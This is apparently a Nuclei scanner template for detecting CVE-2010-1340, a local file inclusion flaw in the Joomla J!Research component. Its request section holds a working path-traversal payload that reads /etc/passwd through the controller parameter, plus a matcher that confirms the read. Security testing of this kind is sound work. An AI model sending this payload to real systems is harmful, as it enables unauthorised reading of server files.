id: CVE-2010-1340

info:
  name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to remote code execution or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33797
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1340
    - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57123
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1340
    cwe-id: CWE-22
    epss-score: 0.02341
    epss-percentile: 0.84230
    cpe: cpe:2.3:a:joomla-research:com_jresearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla-research
    product: com_jresearch
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joomla-research

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201afdc62a32b29a000d31ffe843d0aac84089e064b9effd76b443fc762200cb36022100bfd44531a048d43f46caad64267a3cac6c2416ebd863582cd06710ffcab7e80c:922c64590222798bb761d5b6d8e72950